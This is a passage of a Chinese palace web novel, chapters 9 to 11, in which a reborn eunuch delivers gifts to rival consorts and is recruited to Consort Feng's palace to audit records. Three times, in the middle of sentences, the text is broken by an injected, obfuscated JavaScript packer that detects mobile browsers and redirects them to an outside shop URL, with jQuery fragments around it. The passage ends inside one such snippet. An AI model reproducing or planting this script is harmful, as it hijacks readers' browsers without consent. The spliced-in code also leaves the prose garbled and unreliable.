“离子哥,前面岔路口,右边是去玉芙宫,左边是承华宫。”小柯压低声音,指了指方向,“咱们先去玉芙宫?早点送完徐昭容那儿,早点安心。” 关禧自然没有异议。他深吸一口气,努力平复有些加快的心跳,掌心因为提着篮子和一丝不易察觉的紧张,沁出了薄汗。 玉芙宫坐落在一片精心打理的花木之中,宫门华丽,檐角挂着精致的铜铃,微风拂过,叮咚作响,更显幽。 守门的太监验看了他们的腰牌和提篮里的物件,又进去通传了一声,才放他们进去,在殿外廊下等候。 不一会儿,一个穿着淡粉色宫装,眉眼间带着几分傲气的大宫女走了出来,目光在关禧和小柯身上扫过,尤其在关禧脸上停留了一瞬,闪过一丝讶异,随即恢复了冷淡。 “东西呢?王公公费心了。”宫女的声音不高不低,带着程式化的客气。 小柯连忙上前,将属于玉芙宫的那一层提篮恭敬地递上,赔着笑脸:“劳烦姐姐。这是王公公特意挑选的一些时新花样,请昭容娘娘赏玩。” 那宫女接过,随手翻开看了看,指尖在几个浅色的荷包上划过,不置可否地“嗯”了一声。 恰在此时,正殿内传来一声瓷器清脆的碎裂声,伴随着徐宛白娇叱:“没用的东西!连盆花都伺候不好!拉出去!” 一个穿着绿色宫装的小宫女哭着被两个太监拖了出来,脸色惨白。 廊下的气氛瞬间凝滞。那粉衣宫女眉头微蹙,显然对此习以为常,只对关禧和小柯挥挥手,“东西送到了,你们可以走了。” 小柯如蒙大赦,连声道:“是是是,小的告退。”拉着关禧就想走。 关禧垂下眼睫,正准备转身,眼角余光却瞥见那被拖走的小宫女绝望的眼神,以及地上碎裂的青瓷花盆和那株奄奄一息开着淡紫色小花的植物。 他脚步顿了一下。 那花……在小离子零碎的记忆里,似乎叫做“百日紫”,并非多名贵,但据说香气有宁神之效。 徐昭容竟为了一盆花发这么大脾气? 这时,殿内又走出一个年纪稍长,气质沉稳些的嬷嬷,对着那粉衣宫女低声吩咐了几句。粉衣宫女脸色微变,点了点头。 关禧和小柯不敢再多留,几乎是屏着呼吸,退出了玉芙宫的范围。 直到走出老远,小柯才拍着胸口,长长舒了口气:“我的娘诶,吓死我了!幸好没撞上徐昭容出来!你是没看见,刚才那阵势……啧啧,那盆百日紫可是陛下前儿才赏的,据说徐昭容喜欢得紧,这就给养死了,也难怪动怒。” 关禧默默听着,心中对玉芙宫的危险等级又调高了一级。这位徐昭容,不仅骄纵,而且情绪极不稳定,在她手下当差,无异于刀尖舔血。 “走吧走吧,快去承华宫,那边准保顺当。”小柯调整了一下情绪,重新挂上笑容,引着关禧转向另一条宫道。 承华宫的位置更僻静些,宫墙外的花木不如玉芙宫繁盛,却修剪得更为雅致整齐。宫门处的太监查验腰牌时,态度也温和许多。 通报之后,出来接待的是一位穿着淡青色宫装,面容冷艳的宫女。关禧认出,这正是那日在广储司,帮忙捡拾银钱的宫女。 那宫女看到关禧,眼中也掠过一丝微讶,随即露出浅淡而得体的笑容:“有劳两位公公跑一趟。娘娘正在小憩,东西交给我就好。” 小柯忙将提篮递上,语气轻松了不少:“姐姐客气了,这是王公公的一点心意,请昭仪娘娘赏玩。” 青衣宫女接过,仔细看了看里面的荷包香囊,目光在那几个藕荷,月白色的上多停留了片刻,点头微笑道:“样式很别致,颜色也清雅,娘娘想必会喜欢。二位公公稍等。” 她转身进去,不多时又出来,手里拿着两个小巧的银锞子,分别递给关禧和小柯:“娘娘赏的,给二位公公吃茶。” 小柯喜出望外,连连道谢。关禧也依礼谢恩,接过那枚带着体温小巧可爱的银锞子。入手微沉,比王公公拿走的那两块碎银成色好了不知多少。 “谢娘娘赏,谢姐姐。”关禧声音不高,但足够清晰。 那青衣宫女看了关禧一眼,眼神温和,轻轻颔首,并未多言。 离开承华宫,小柯捏着那枚银锞子,喜滋滋地揣进怀里,对关禧道:“瞧见没?我就说冯昭仪性子好吧!出手还大方!这趟总算没白跑!” 关禧摩挲着掌心那枚银锞子,冰凉的触感慢慢被体温焐热。承华宫的氛围,与玉芙宫截然不同,冯昭仪的温和与体恤下人是真的,还是另一种更深沉的处世之道?那青衣宫女……似乎对他有点印象? 这些念头在他脑中一闪而过。眼下,更重要的是即将到来的出宫机会。 * 两天时间转瞬即逝。 出发前往承运库的这天清晨,关禧醒得格外早。天际刚泛起鱼肚白,他已洗漱完毕,换上了一套干净的靛青色太监服,将牛管事交给他的单据,令牌小心收好,又检查了一遍随身物品,那枚冯昭仪赏的银锞子被他用布包好,贴身藏着,还有之前剩下的一些铜钱。 同屋的小柯和小路还在沉睡。他轻手轻脚地出了门,深吸一口凌晨清冽的空气,感觉胸腔里那颗心,正不受控制地加速跳动。 来到派办处院子,王公公指派的一个姓钱的老太监和两个负责搬运护卫的低等侍卫已等在那里。钱公公看起来五十多岁,面容黝黑,话不多,只扫了关禧一眼,确认人齐了,便哑着嗓子道:“走吧,早点动身,赶在日头毒起来前回来。” 一行人穿过一道道宫门。每过一道门,都需要验看腰牌和文书。关禧低着头,跟在钱公公身后,感受着侍卫审视的目光,心脏一次次提起又落下。 终于,走到了最后一道宫门前。厚重的朱红宫门缓缓打开一道缝隙,仅容数人通过。 当关禧迈过那高高的门槛,双脚真正踏上门外坚硬的土地时,他感到一阵轻微的眩晕。 外面,是不同的天地。 尽管这里仍是皇城范围,所谓的承运库就在宫墙之外不远,视野被高大的城墙和官署建筑所局限,但空气的味道变了。不再是宫廷里那混合着香料,脂粉,陈旧木头和压抑气息的味道,而是带着尘土,车马,以及远处隐约传来的市井喧嚣的气息。 天空,似乎也更高,更辽阔。清晨的阳光毫无遮挡地洒下来,照亮了眼前宽阔的广场和笔直的石板御道。远处,有车马辚辚而过,有穿着各色官服的小吏匆匆行走,甚至能看到几只麻雀在道旁蹦跳啄食。 自由。 这个词就像闪电般劈开关禧的脑海。虽然只是短暂地踏出了那堵墙,可这种空间上的突破,带来的心理冲击是巨大的。他贪婪地呼吸着这墙外的空气,感觉每一个毛孔都在叫嚣着渴望。 “发什么呆?跟上!”钱公公回头,不满地低斥了一声。 关禧猛地回神,快步跟上。他不能表现得太异常。 承运库是一座庞大的建筑群,灰墙黑瓦,显得肃穆。交接核对的流程繁琐。关禧负责捧着单据,与库吏一一核对绸缎的品类,数量,尺寸,检查有无霉变虫蛀;香料则要查验包装,嗅辨气味是否纯正。 他强迫自己集中精神,专注于眼前的工作,不敢有丝毫差错。但他的感官却不由自主地捕捉着周围的一切——库吏带着口音的官话,搬运夫沉重的脚步声和喘息声,马车轮子碾过石板的咕噜声,甚至远处街市传来的叫卖声。 每一个声音,每一种气味,都在他心中激荡起涟漪。 原来,墙外的世界是这样的。 核对工作持续了近两个时辰。当所有货物清点完毕,单据双方画押确认,钱公公与库吏寒暄几句后,便示意可以返回了。 回程的路上,关禧的心情与来时已大不相同。 他看到了,哪怕只是惊鸿一瞥。这高墙之外,有着广阔的天空和鲜活的人生。而他,却被困在那四方天地里,顶着一個屈辱的身份,挣扎求生,甚至还要时刻担忧成为他人玩物。 重新迈入那道朱红宫门时,关禧握紧了袖中的手,指甲掐进掌心。 他回头,最后看了一眼门外,然后将那抹亮色深深烙进心底,转身,低着头,跟着钱公公,重新没入那深宫的重重阴影之中。 路还很长。但他已经看到了方向。 * 夜色深沉,宫里的更鼓敲过了三遍,各处宫灯次第熄灭,整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892380|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个皇宫逐渐沉入一片寂静之中。派办处后院的小直房里,油灯早已吹熄,只有清冷的月光透过窗纸,洒下朦胧的微光。 小柯和小路早已躺下,不多时便传来了轻微的鼾声。 关禧也简单洗漱过,脱了外袍,躺在了自己的木板床上。身下的铺盖单薄,但比起净舍那潮湿霉烂的稻草,已是天壤之别。他睁着眼,正望着黑暗出神,旁边铺位的小柯忽然翻了个身,面朝着他这边,黑暗中,他的眼睛闪着一点微光,带着点压不住的八卦和好奇。 “离子哥,睡了吗?” 关禧没动,只从鼻子里“嗯”了一声,算是回应。 小柯窸窸窣窣地又凑近了些,隔着不到一臂的距离,神秘兮兮地问:“哎,我说……你那儿……是不是没全干净?就是……没全割,还留着点儿……对吧?” 关禧身体几不可察地僵了一下。黑暗中,他皱起了眉,没有立刻回答。张旺那夜的恶心触感和狰狞嘴脸再次浮现在脑海。 小柯见他沉默,只当他是默认了,自顾自地继续嘀咕,语气里带着点说不清是羡慕还是别的什么:“我就知道……王公公当初挑中你们这些长得好的,都是这样……像我们这种,”他顿了顿,声音里透出点自嘲和认命,“都是一刀切得干干净净,利索,也绝了念想。” 他翻了个身,仰面躺着,望着黑漆漆的屋顶,像是感慨:“不过啊,像你们这样的,通常也留不住。基本都被调理着,等着送到陛下跟前儿去了……” 关禧的心一沉,尽管早有心理准备,但听到这近乎直白的命运宣判,胸口还是像被什么东西狠狠攥住了。 小柯没察觉他的异样,或者说他根本不在乎,依旧沉浸在自己的诉说里:“唉,说是伺候陛下,是天大的福气……可咱们在底下,谁不知道啊?被选去侍寝的那些……能全须全尾回来的有几个?不是死了,就是疯了……反正,能长久留在陛下身边的,少之又少。”他侧过头,阴影里,他的眼神带着一丝怜悯,“离子哥,说真的,我都有些可怜你了。长得好看,在这宫里,有时候真不是啥好事……也不知道王公公到底怎么打算的,什么时候就把你给……递上去了。” 关禧静静地听着,脸上没什么表情。初来乍到时那种天崩地裂的崩溃和恶心感,经过这几个月的挣扎,恐惧,隐忍,已经被磨钝了。他来自信息爆炸的现代,什么猎奇的小说电视剧没看过?接受能力和心理承受能力,早就在不知不觉中被锻炼了出来。 刚穿越过来,发现自己成了太监,还是个濒死的太监时,他确实觉得是天塌地陷,无法接受。但死过一回,又在鬼门关前挣扎着爬回来,见识了这深宫最底层的冰冷和恶意之后,活下去,成了压倒一切的本能。 不能接受的,也必须要接受。除非他想现在就找根绳子吊死,或者投井。但那不是他关禧会做的事。 他翻了个身,背对着小柯,声音听不出什么情绪:“睡觉吧,明天还得当值。” 小柯讨了个没趣,咂咂嘴,也翻过身去,嘟囔了一句:“也是,操心那么多有啥用……睡觉睡觉。” 直房里重新恢复了寂静,只有窗外偶尔传来的极远处的更梆声,以及身边两人平稳的呼吸声。 关禧闭着眼,大脑却在高速运转。 小柯的话,不过是再次确认了他已知的残酷事实。王公公将他调来派办处,绝不仅仅是看中他整理文书的能力。他这张脸,他这半割的身份,就像一件被精心保管的货物,随时可能被当成贡品献上。 等待他的,似乎是两条路:要么在侍寝后像那些消失或疯掉的小太监一样,成为这深宫又一个无声无息的牺牲品;要么……就在被献上去之前,找到第三条路。 出宫的希望渺茫得像天上的星星。但今天,他不是已经摸到宫墙的门槛了吗?哪怕只是短暂的一瞬。 依附王公公,看似暂时安全,实则如同饮鸩止渴。 必须更快,更主动。 他需要更多的信息,需要更准确地把握王公公的意图和动向,需要找到其他能够影响他命运的人或事。青黛那温和的眼神,承华宫那不同于玉芙宫的清静氛围……是否可以作为一步闲棋,稍加留意? 还有这派办处,接触宫外物资和信息的机会,必须牢牢抓住。下一次,下下次,总有机会看到更多,接触到更多…… 思绪纷杂,像一团乱麻,核心却异常清晰——活下去,不惜一切代价活下去。 然后,挣脱这个牢笼。 10. 第 10 章 次日午后,关禧刚将一批核对好的香料单据归档,正准备去帮着清点新到的瓷器,就见小柯一脸慌张,脚步匆匆地从外面跑了进来,额头上还带着细密的汗珠。 “离子哥!离子哥!不好了!”小柯一把拉住关禧的袖子,气都喘不匀。 “怎么了?慢慢说。” “是、是承华宫!那位青衣姐姐,叫、叫青黛的,带着人过来了!说、说咱们前天送去的荷包有问题!”小柯急得舌头都快打结了,“指明要见那天送东西的两个人!王公公让我赶紧来找你过去!” 荷包有问题? 关禧眉头微蹙。那天送去的荷包,他和青黛都仔细看过,绝无质量问题。冯昭仪若是嫌弃,大可以搁置不用,或者让宫女私下退回派办处,何必如此兴师动众,派人亲自来问罪? 这不像冯昭仪平日行事的风格。除非……醉翁之意不在酒。 “走吧,别让公公和承华宫的姐姐久等。”关禧整理了一下衣袍,神色恢复如常。 两人快步来到派办处的正堂。 王公公正陪着一个穿着淡青色宫装的女子说话,态度颇为客气,正是那日见过的宫女青黛。她身后还跟着两个小宫女,垂手侍立。 青黛今日打扮得素雅,发髻梳得一丝不苟,只簪着一支简单的银簪,面容冷艳,眸光清冽,通身透着一种疏离的清气,竟不似寻常宫女。见关禧与小柯进来,她的视线便淡淡落向关禧。 “公公,就是他们二人。” 王公公脸上堆着笑,眼神却锐利地扫过关禧和小柯:“你们两个,前日送去承华宫的荷包,是怎么回事?怎么会出纰漏?惊动了昭仪娘娘,你们担待得起吗?!” 小柯吓得噗通一声跪倒在地,连连磕头:“公公明鉴!青黛姐姐明鉴!那荷包小的们送去时都是好的,青黛姐姐也亲自验看过……” 关禧也跟着跪下,没有像小柯那样惊慌失措,他抬起头,目光坦然,声音平稳:“回公公。前日送往承华宫的荷包,是王公公亲自挑选,小的二人只是负责送达。交接之时,青黛姐姐亦曾逐一检视,并无提出异议。不知究竟是何处出了问题,还请青黛姐姐明示,小的等也好向王公公交代,日后更加谨醒。” 他这番话,不卑不亢,既点明了责任不在他们跑腿的,又将问题抛回给青黛,同时姿态放得极低,让人挑不出错处。 王公公眯了眯眼,没说话,看向青黛。 青黛面色不变,淡淡道:“并非荷包本身有瑕疵。只是娘娘说,其中一个藕荷色绣兰草的荷包,里面的香料气味,与她平日所用不甚相同,闻之略有不适。娘娘心细,担心是否调配有误,或是途中被人动了手脚,故而命我前来问问。” 这个理由……听起来合情合理,又显得有些小题大做。冯昭仪协理六宫,若连一个荷包香料细微不同都要亲自过问,那未免太过劳心。 关禧心中更加确定,这只是个由头。 青黛说完,目光再次落在关禧脸上,语气缓和了些许:“既然你们二人确认途中无误,那或许是我多虑了,或是香料放置久了有些变化。罢了,此事就此作罢。” 王公公连忙打圆场:“哎呀,原是虚惊一场。娘娘身体要紧,谨慎些是应当的。青黛姑娘辛苦了。”他话锋一转,似是随意地问道,“只是……劳动姑娘亲自跑一趟,可是娘娘还有别的吩咐?” 青黛微微一笑,那笑容清浅,“吩咐不敢当。只是娘娘近日在翻阅一些旧年宫苑修缮的记录,有些数目对不上,听闻派办处这边文书归档做得细致,尤其是这位叫小离子的公公,记性颇佳,字也工整。不知王公公可否行个方便,借他半日,去承华宫帮奴婢核对整理一下?免得奴婢来回跑动,耽误了娘娘的事。” 来了,真正的目的在此。 王公公眼中精光一闪,脸上笑容不变,心里却是瞬间转了几个弯。冯昭仪协理宫务,借调个小太监帮忙核对文书,合情合理,他无法拒绝。而且,这似乎也印证了关禧在文书处理上的能力确实入了贵人的眼,对他而言,并非坏事,甚至可能多一条连通承华宫的路子。 “哎哟,这有何难?能被娘娘和青黛姑娘看中,是他的造化。”王公公笑得见牙不见眼,对关禧道,“小离子,还不快谢过青黛姑娘提携?去了承华宫,仔细当差,一切听青黛姑娘吩咐,不可有半分怠慢!” 关禧压下心头的波澜,深深叩首:“小的遵命,谢王公公,谢青黛姐姐。小的定当尽心竭力。” 他站起身,垂首走到青黛身后。青黛不再多言,对王公公微微欠身,便带着关禧和两个小宫女,转身离开了派办处。 走在通往承华宫的宫道上,阳光明媚,花香袭人。关禧却无暇欣赏,他的全部心神都集中在走在前方半步的那道青色身影上。 青黛步履从容,裙裾微动,姿态优雅。关禧默默观察着她的背影,心中猜测着冯昭仪召见的真正意图。是福是祸,即将揭晓。 承华宫依旧是一派宁静祥和。穿过庭院,来到一处偏殿。殿内陈设清雅,多宝阁上摆放着书籍和瓷器,空气中弥漫着清幽的檀香,与玉芙宫那浓艳甜腻的香气截然不同。 “你们在外面候着。”青黛对两个小宫女吩咐道,然后对关禧示意,“随我进来。” 关禧跟着青黛走进内室。内室的光线比外间稍暗,窗前设着一张紫檀木书案,案上堆积着一些卷宗册页。一道窈窕的身影正背对着他们,站在书架前,似乎在寻找什么书籍。 那人穿着一身水蓝色的常服,料子柔软,勾勒出纤细合度的腰身。乌黑的长发简单地挽起,插着一支通透的白玉簪,除此之外,并无多余饰物。 听到脚步声,她缓缓转过身来。 关禧下意识地屏住了呼吸。 月华门前那次冲突,他伏跪于地,视线所及不过是对方绣着缠枝莲纹的裙摆和鞋尖,以及那温和却带着不容置疑力量的声音。他只知道冯昭仪与徐昭容不同,更讲道理,但具体容貌如何,在当时那种惊惶紧张的氛围下,根本无暇也不敢抬头细看。 此刻,才是他第一次,真真切切地,看清这位协理六宫的昭仪娘娘。 乍一看,冯媛的容貌不是徐宛白那种扑面而来,灼灼逼人的明艳。她的美是内敛的,沉静的,如同上好的江南水墨,初看淡雅,细品则韵味悠长。 肌肤是细腻的暖白色,不像宫中一些女子追求极致的苍白,透着健康的光泽,宛如羊脂玉般温润。眉毛生得极好,不需描画,便是天然的远山黛色,舒朗而柔和。一双眸子最为出彩,是清澈的秋水瞳,眼波流转间,沉静如水,仿佛能倒映出人心,又深不见底,让人看不透真切情绪。鼻梁秀挺,唇瓣饱满,唇色是天然的,极淡的樱粉,唇角微微自然上翘,即使不笑也带着三分温和之意。 她看起来年纪不过双十,眉宇间却有一种超越年龄的从容,那不是刻意营造的威严,而是历经世事,洞察人心后沉淀下来的安然。她就那样静静地站在那里,周身仿佛笼罩着一层柔和的光晕,与这满室的书香,清幽的檀香融为一体,构成一幅动人的画卷。 这就是冯昭仪,冯媛。 关禧心中震撼。他原本以为,能在后宫中占据一席之地,并与骄纵的徐宛白分庭抗礼的妃嫔,必是凌厉精明之辈。却没想到,竟是这般清丽婉约,气度清华的人物。 他迅速收敛心神,在对方目光投来的瞬间,已然恭敬地垂下头,屈膝行礼:“奴才小离子,叩见昭仪娘娘。” “起来吧。”冯媛的声音和她的人一样,清润温和,如初春融化的雪水,潺潺流过心田,“不必多礼。青黛,看座。” 青黛搬来一个绣墩,放在书案下首。 关禧哪里敢坐,连忙道:“奴才不敢,在娘娘面前,没有奴才的座位。” 冯媛微微一笑,走到书案后坐下,抬手示意:“让你坐便坐吧。本宫这里,没那么多虚礼。今日找你来,是想问问你,关于前日那些荷包的事。” 她果然提起了荷包。关禧心知这只是开场白,依言在绣墩上欠身坐下,腰背挺得笔直,恭谨地回答:“是。奴才那日与青黛姐姐一同验看,并未发现异常。不知是哪个荷包让娘娘不适?奴才回去定当禀明王公公,仔细查问。” 冯媛轻轻摇头,指尖拂过案上一本摊开的册页,语气随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892381|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意:“些许小事,不必惊动王公公了。本宫只是觉得,你年纪不大,眼光倒是不错。那日青黛回来,还夸你心思细腻,对颜色、纹样颇有见解。” 果然是因为这个,关禧谦卑道:“娘娘谬赞,青黛姐姐过奖了。奴才只是……只是平日整理单据时,多留意了些各宫支领物件的记录,胡乱揣测,当不得真。” “哦?胡乱揣测便能说得八九不离十?”冯媛抬眼看着他,眸中带着一丝不易察觉的探究,“那你且说说,依你看来,本宫平日里,偏好何种颜色、何种香型?” 这是一个看似随意,实则暗藏机锋的问题。答得好,或许能得青眼;答得不好,便是卖弄聪明,惹人厌烦。 关禧沉吟片刻,目光快速扫过殿内的陈设,冯媛的衣着,以及空气中那清幽的檀香,结合之前看过的承华宫用度记录,谨慎开口:“奴才愚见。娘娘性情娴雅,不喜奢靡。观殿内陈设,多以青、白、淡紫、藕荷等清雅色系为主;娘娘今日衣着亦是水蓝,素净大方;殿中所燃之香,乃是清心宁神的檀香,而非浓艳花果香。故而奴才大胆猜测,娘娘平日偏好素雅洁净之色,所用香型亦以清幽淡远为上。” 他顿了顿,补充道:“那日王公公挑选荷包,奴才见那几个颜色鲜亮、绣样繁复的,便觉与娘娘气质不甚相合,反倒是藕荷、月白等色,更显清雅,故而在青黛姐姐查看时,多留意了几分。” 冯媛静静地听着,脸上看不出喜怒。直到关禧说完,她才缓缓端起手边的青瓷茶盏,用杯盖轻轻拨了拨浮沫,动作优雅至极,“观察入微,心思缜密。在派办处做个整理文书的小太监,倒是屈才了。” 关禧心头一跳,垂下眼睫:“奴才不敢当。能在派办处当差,已是王公公和娘娘恩典。” 冯媛看着他低眉顺眼的样子,目光在他那张过于精致的脸上停留了片刻。这张脸,确实生得极好,甚至好得有些过分,带着一种模糊了性别的昳丽。但更让她感兴趣的,是这昳丽皮囊下隐藏的敏锐和冷静。一个刚从鬼门关爬回来,身处绝境的小太监,能有这般见识和定力,绝非寻常。 “本宫协理六宫,琐事繁多,身边正缺个像你这样细心、又能识文断字的人帮衬。”冯媛终于说出了今日召见的真正目的,“小离子,你可愿意,来承华宫当差?” 机会。 来承华宫,这意味着关禧可以暂时摆脱王公公的直接控制,远离那个随时可能被献上去的漩涡,冯昭仪性情温和,地位尊崇,在她手下当差,安全性无疑大大提高,而且,靠近权力中心,他能接触到的信息,可能找到的机会,远比在派办处要多。 巨大的诱惑摆在面前。 但他没有立刻答应。越是这种时候,越要冷静。王公公那边会轻易放人吗?冯昭仪此举,是真的看中他的能力,还是另有深意?这承华宫,看似平静,难道就真是净土吗? “娘娘厚爱,奴才感激不尽!能到娘娘身边伺候,是奴才几辈子修来的福分!只是……奴才身份卑贱,又是王公公调教出来的人,若无王公公首肯,奴才……奴才万死不敢自作主张。” 他将决定权巧妙地推了回去,既表达了对冯媛的向往和感激,也显示了对王公公的忠诚和身处底层的无奈。 冯媛闻言,唇角微微勾起一个清浅的弧度,对他的回答并不意外。 “王公公那里,本宫自会去说。你只需告诉本宫,你愿,还是不愿?” 关禧知道,这是他必须做出的选择。赌一把,留在派办处是慢性死亡,抓住眼前的机会,才有可能搏出一线生机。 他不再犹豫,起身,郑重地跪拜下去: “奴才小离子,愿为娘娘效犬马之劳!赴汤蹈火,在所不辞!” 冯媛看着伏在地上的清瘦身影,眼中闪过一丝满意的神色。 “起来吧。”她温声道,“青黛,带他下去安置。从今日起,他就在承华宫当值了。” “是,娘娘。”青黛应道,对关禧示意,“随我来吧。” 关禧站起身,最后看了一眼书案后那位气度清华,深不可测的昭仪娘娘,然后垂下眼,恭敬地跟着青黛退出了内室。 11. 第 11 章 青黛引着关禧穿过几道回廊,来到承华宫后殿一侧的厢房。这里比派办处的直房又清净雅致了许多,虽是下人居住之所,却也窗明几净,空气中飘散着与主殿一脉相承的檀香。 “这里便是你日后起居之处。”青黛推开一扇门,里面是一间不大的屋子,只设了一张床铺,一个衣柜和一张小桌,虽是简单,但床铺帐幔,桌椅板凳一应俱全,且都是干净的。 最关键的是,这是一间单人房。 在等级森严的后宫,即便是得宠娘娘身边的大宫女或管事太监,也少有能独居一室的待遇,更遑论关禧这样一个刚来,毫无根基的小太监。这与其说是优待,不如说是一种不动声色的笼络,也是一种隔离,避免他与承华宫其他底层太监宫女过多接触,便于掌控。 “多谢青黛姐姐安排。”关禧面上不露声色,恭敬道谢。 青黛点点头,“娘娘既点了你来,便是信重。你日后便在承华宫当差,具体的职司,娘娘已有安排。你初来乍到,先跟在我身边,熟悉宫务,主要负责协助整理、誊录娘娘协理六宫涉及的一些文书卷宗。娘娘看重你细心、记性好,这份差事需得格外谨慎,一丝错漏都可能酿成大祸,明白吗?” 整理,誊录协理六宫的文书?这职权听起来模糊,实则能接触到的信息远超派办处那些采买单据,关禧心中凛然,知道这既是机遇,也是考验。冯昭仪将他放在这个位置,绝非仅仅因为他细心。 “小的明白,定当谨守本分,尽心竭力,绝不负娘娘和青黛姐姐信重。” “嗯。”青黛对他的态度还算满意,“你的月例,按承华宫二等内侍的标准发放,每月四两银子。稍后我会让人将衣物、用品送来。今日你先安顿下来,熟悉一下环境,明日卯时初刻,到前殿西侧的书斋候着。” 四两银子,这比他在派办处时多了足足一倍,而且是在王公公抽走大部分之后实打实能拿到手的。关禧再次感受到了冯昭仪手段的厉害,恩威并施,让人难以抗拒。 “是。” 青黛交代完毕,便转身离开。 关禧独自站在小小的房间里,环顾四周。这里没有净舍的污浊阴冷,没有文书房直房的拥挤逼仄,也没有派办处排房的嘈杂。安静,整洁,甚至带着一丝若有若无的馨香。 但他心中却没有半分松懈。从踏进承华宫的那一刻起,他就从王公公棋盘上一枚待价而沽的棋子,变成了冯昭仪手中一把需要打磨,用途未知的刀。处境看似提升,实则更加凶险。冯昭仪与徐昭容不同,她温和表象下的心思,恐怕比徐宛白的骄纵跋扈更难揣测。 王公公那边,得知消息后又会作何反应?会甘心放走他精心培养的货物吗? 翌日,卯时初刻,天光微亮。 关禧换上了承华宫二等内侍崭新的靛青色袍子,准时来到了前殿西侧的书斋。这里比冯昭仪日常起居的内室更加肃穆,四壁皆是书架,堆满了各类卷宗册页,空气中墨香与檀香交织。 青黛已经在书案前忙碌,见他来了,指了指旁边一张稍小的书案:“以后你就在那里处理文书。今日先将这些,”她推过一摞厚厚的册子,“嘉佑十八年至永昌五年,各宫苑修缮、器物添置的记录核对一遍,将明显不合规制或超出常例的用度标记出来,附上简要说明。” 关禧依言坐下,翻开最上面一本册子。里面记录的是各宫每月支领的瓷器,漆器,摆设等物件的明细,时间正是去年。他不敢怠慢,凝神静气,开始逐条审阅。 这项工作极其枯燥繁琐,需要极强的耐心和对宫廷用度规则的了解。关禧凭借着在典籍司和派办处积累的知识,以及超越时代的逻辑思维和细心,飞快地浏览,比对,记忆。 他发现,这些记录看似平常,实则暗藏玄机。哪些宫殿在特定时间点突然增加了奢华用度,哪些物品的支领明显超出了该位份妃嫔的规制,哪些开销的记录模糊不清……这些细节,都可能指向某些不为人知的动向或隐秘。 冯昭仪让他做这个,是在考验他的能力,还是想通过他的手,发现什么? 关禧不敢深想,更加专注地投入工作。他的字迹工整清晰,标记和说明也力求简洁准确。 不知不觉,一个上午过去。 青黛偶尔会过来查看他的进度,见他效率极高,且标记出的问题都切中要害,眼中闪过一丝赞许,但并未多言。 午膳是由小宫女直接送到书斋的。两菜一汤,一碗白米饭,虽不算珍馐,但荤素搭配,味道清爽,远比派办处的伙□□细。 关禧匆匆吃完,继续埋首卷宗。 下午,他正在核对一批绸缎支领记录时,目光忽然在其中一条上定格。 【永昌五年四月,玉芙宫,支苏杭织造局进上云锦十匹,霞影纱五匹。备注:徐昭容裁衣。】 永昌五年四月……那不就是两个月前?关禧清楚地记得,就在不久前,徐昭容和冯昭仪在月华门争执的焦点,就是一批云锦,徐宛白声称是陛下赏赐,冯昭仪则指出于礼不合。 而这条记录显示,内务府确实在两个月前拨付了十匹云锦给玉芙宫,手续齐全,记录在案。 那么,当时冯昭仪所说的于礼不合是指什么?是徐昭容领取的方式不合规矩?还是这批云锦本身另有蹊跷? 关禧的心跳微微加快。他感觉自己似乎触碰到了后宫争斗冰山的一角。他不动声色地将这条记录单独抄录下来,并在旁边做了个不起眼的标记。 日落时分,关禧将整理好的册子和自己标注的疑点清单交给青黛。 青黛快速浏览了一遍,目光在那条关于玉芙宫云锦的记录上停顿了一瞬,随即恢复如常。她收起册子,对关禧道:“做得不错。今日就到这里,回去歇着吧。明日继续。” “是,青黛姐姐。”关禧躬身退下。 * 夜深了。 夏日的暑气在入夜后蒸腾起一股黏腻的闷热,包裹着承华宫精致的殿宇。关禧躺在单独厢房的床铺上,身上那套崭新的靛青色太监服已经被汗水微微浸湿,黏在皮肤上,带来一种难以言喻的烦躁。 他翻来覆去,难以入眠。 不仅仅是闷热。 对于一个习惯了现代每天淋浴,保持身体清爽的十七岁少女来说,穿越至今,他经历了停尸房的污秽,净舍的肮脏,文书房的简陋,以及派办处的忙碌,洗澡成了一种遥不可及的奢侈。平日里,最多就是用冷水擦拭一下身体,勉强维持最基本的清洁。 可现在是夏天。 汗水,尘土,还有这深宫中无处不在的压抑气息,仿佛都透过毛孔渗入了他的身体,凝结成一层看不见的污垢,让他浑身发痒,从心理到生理都感到极度不适。 “不行了……再这样下去我要疯了……”关禧在黑暗中坐起身,抓了抓有些发痒的胳膊,低声哀嚎,属于现代灵魂的洁癖在此刻达到了顶峰。 他必须洗澡,立刻,马上。 可去哪里洗? 承华宫有供低等太监宫女使用的公共盥洗处,但那里只有几个冷水桶,而且这个时辰,早就下钥熄灯,不可能为了他一个人再去折腾。 他的目光不由自主地飘向了承华宫主殿的方向。作为一宫主位,又是协理六宫的昭仪,冯媛的寝殿配有独立设施完善的浴堂。这是小离子记忆中关于高位妃嫔生活常识的一部分。 冯媛专用的浴堂……里面应该有浴池吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 